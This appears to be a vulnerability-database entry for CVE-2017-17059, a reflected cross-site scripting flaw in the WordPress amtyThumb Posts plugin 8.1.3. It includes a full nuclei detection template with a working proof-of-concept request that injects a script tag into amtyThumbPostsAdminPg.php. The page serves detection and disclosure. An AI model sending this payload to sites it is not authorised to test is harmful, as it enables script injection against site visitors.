Browse / CVEs / CVE-2017-17059
CVE-2017-17059· amtythumb project / amtythumb· CWE-79
WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting
mediumseverity
6.1CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser.
Fix
Update to the latest version of amtyThumb Posts plugin or apply the patch provided by the vendor.
How to confirm it
Send: GET /wp-content/plugins/amty-thumb-recent-post/readme.txt
Positive when: contains "Amty Thumb" and "Tags:"
Send: POST {{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2017-17059 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-17059
info:
name: WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser.
remediation: |
Update to the latest version of amtyThumb Posts plugin or apply the patch provided by the vendor.
reference:
- https://github.com/NaturalIntelligence/wp-thumb-post/issues/1
- https://packetstormsecurity.com/files/145044/WordPress-amtyThumb-8.1.3-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2017-17059
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-17059
cwe-id: CWE-79
epss-score: 0.03419
epss-percentile: 0.89003
cpe: cpe:2.3:a:amtythumb_project:amtythumb:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "amtythumb_project"
product: amtythumb
framework: wordpress
tags: cve2017,cve,xss,wp-plugin,packetstorm,wordpress,amtythumb_project,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Amty Thumb'
- 'Tags:'
condition: and
case-insensitive: true
- method: POST
path:
- "{{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1"
body: "amty_hidden=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/NaturalIntelligence/wp-thumb-post/issues/1
- https://packetstormsecurity.com/files/145044/WordPress-amtyThumb-8.1.3-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2017-17059
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from